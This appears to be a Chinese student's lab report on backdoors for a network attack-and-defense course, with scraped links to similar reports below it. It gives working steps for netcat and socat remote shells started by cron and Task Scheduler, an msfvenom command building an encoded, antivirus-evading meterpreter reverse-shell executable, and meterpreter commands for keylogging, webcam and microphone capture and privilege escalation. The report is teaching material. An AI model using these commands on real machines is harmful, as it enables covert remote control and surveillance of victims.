20155204 王昊《网络对抗技术》EXP2 后门原理与实践

一、实验内容

准备工作(试用ncat、socat)





1. 使用netcat获取主机操作Shell,cron启动。

  • 明确目标:要利用crontab命令从Windows获得linux的shell。
  • 在Windows下监听自定端口。
  • 用man命令查询crontab命令用法
  • 使用crontab -e指令编辑定时任务。(前面的数字是你想要让他在每个小时的某分钟运行)
  • 等到自己设定的分钟数后,得到了linux的shell。

2. 使用socat获取主机操作Shell, 任务计划启动。

  • Windows下搜索任务计划工具,打开后创建任务(自定义名称),然后新建触发器。
  • 程序和脚本选择socat.exe路径,添加参数要写tcp-listen:5204 exec:cmd.exe,pty,stderr,用来将cmd.exe绑定到端口5204,同时把cmd.exe的stderr重定向到stdout上。
  • 创建完成后,再次进入系统(可以通过锁定计算机来完成),发现任务已经在运行。
  • 在linux环境下输入指令socat - tcp:172.30.4.71:5204,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5204端口

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 选用难一点的指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./20155204.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=1 LPORT=5204 -f exe > 20155204_backdoor.exe
  • 参数说明:
	-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
  • 生成后门程序后,可以通过nc传到Windows下,利用vmware的增强功能可以直接把文件拖过去(此过程杀毒软件会报警,关掉它或者忽略)

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。

  • 这里一定注意理解反弹端口的意义,以及LHOST的意义,不要像我一样,把LHOST一直设成了被攻击主机的IP。。。(下面这个是错误图片)

  • 设置好后可以开始监听,用exploit

  • 在Windows里双击运行后门程序

  • linux便获得了远程控制的shell

4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频。
  • 使用webcam_snap指令可以使用摄像头进行拍照。
  • 使用webcam_stream指令可以使用摄像头进行录像。
  • 使用screenshot指令可以进行截屏。
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录。
  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权。(这里提一下,我周围用win7虚拟机的同学好像都会出错,但是我用的是PC本身的系统,直接就好了。同学的问题我也不会解决。。)





二、基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
  • 答:在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号。
  1. 例举你知道的后门如何启动起来(win及linux)的方式?
  • 答:1.操作系统自带服务; 2.网络协议捆绑; 3.软件编写者制作; 4.漏洞攻击后放置; 5.社会工程学等相关方式。
  1. Meterpreter有哪些给你映像深刻的功能?
  • 答:录屏、录按键、提升权限都很强, 这种功能一旦落入坏人手里就很危险了。。。
  1. 如何发现自己有系统有没有被安装后门?
  • 答:
  1. 检测网络连接,可以使用Windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是:netstat -an 这个命令能看到所有和本地计算机建立连接的IP,它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机的目的。

    2.检查账户,先在命令行下输入net user,查看计算机上有些什么用户,然后再使用“net user+用户名”查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。

三、实验总结与体会

这次实验让我感受到了自己系统的安全性,在黑客面前就想他们口中的肉鸡一样,这让我更加认识到了信息安全的重要性。

20155204 王昊《网络对抗技术》EXP2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

  3. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  4. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  7. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  8. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  9. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  10. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

随机推荐

  1. HttpServletRequest的使用

    当HTTP转发给Web容器处理时,Web容器会收集相关信息,并产生HttpServletRequest对象,使用这个对象可以取得所有HTTP请求中的信息,可以在Servlet中进行处理,也可以转发给其 ...

  2. 13 款惊艳的 Node.js 框架——第2部分

    [编者按]本文作者为 Peter Wayner,主要介绍13款至精至简的 Node.js 框架,帮助你简化高速网站.丰富 API 以及实时应用的开发流程.本文系国内 ITOM 管理平台 OneAPM ...

  3. 学习dbms_parallel_execute包

    一.简介 ORACLE11g R2版本的新特性之一就是引进了DBMS_PARALLEL_EXECUTE包,使用DBMS_PARALLEL_EXECUTE包批量并行递增式的更新表. 更多ORACLE11 ...

  4. Sql server在使用sp_executesql @sql执行文本sql时,报错: Could not find database ID 16, name '16'. The database may be offline. Wait a few minutes and try again.

    最近在公司项目中使用exec sp_executesql @sql执行一段文本sql的时候老是报错: Could not find database ID 16, name '16'. The dat ...

  5. python自学——列表

    #以下是我自己在联系列表中所编写的语句:names=["zangsan",'lisi','wangermazi','Xiaoliuzi','dabiaoge','牛erbiaodi ...

  6. 工作中遇到的问题收集--.NET

    一.拒绝访问 temp 目录.用来运行 XmlSerializer 的标识“IIS APPPOOL\MZJYMIS”没有访问 temp 目录的足够权限.CodeDom 将使用进程正在使用的用户帐户进行 ...

  7. python ddt模块

    ddt模块包含了一个类的装饰器ddt和两个方法的装饰器: data:包含多个你想要传给测试用例的参数: file_data:会从json或yaml中加载数据: 通常data中包含的每一个值都会作为一个 ...

  8. arm 开发板更新 gcc/gcc++ | Debain 更新 gcc,无需编译直接更新 gcc

    4我的板子是 Orange pi 3,只能以 卧槽来形容... 我是搞.net core的,这板子死活搞不了. 刷的是Debain系统. 说实话,这个板子不错,可就是官方的系统实在不敢恭维,内核旧,软 ...

  9. 使用C#删除一个字符串数组中的空字符串

    C#中要如何才能删除一个字符串数组中的空字符串呢?随着微软对C#不断发展和更新,C#中对于数组操作的方式也变得越来越多样化.以往要实现过滤数组中的空字符串,都是需要实行循环的方式来排除和过滤.C#3. ...

  10. 漏洞扫描--openvas

    操作实例演示 0.登录openvas 点击“openvas start”启动openvas相关服务,服务启动成功之后!在浏览器输入网址:https://127.0.0.1/login/login.ht ...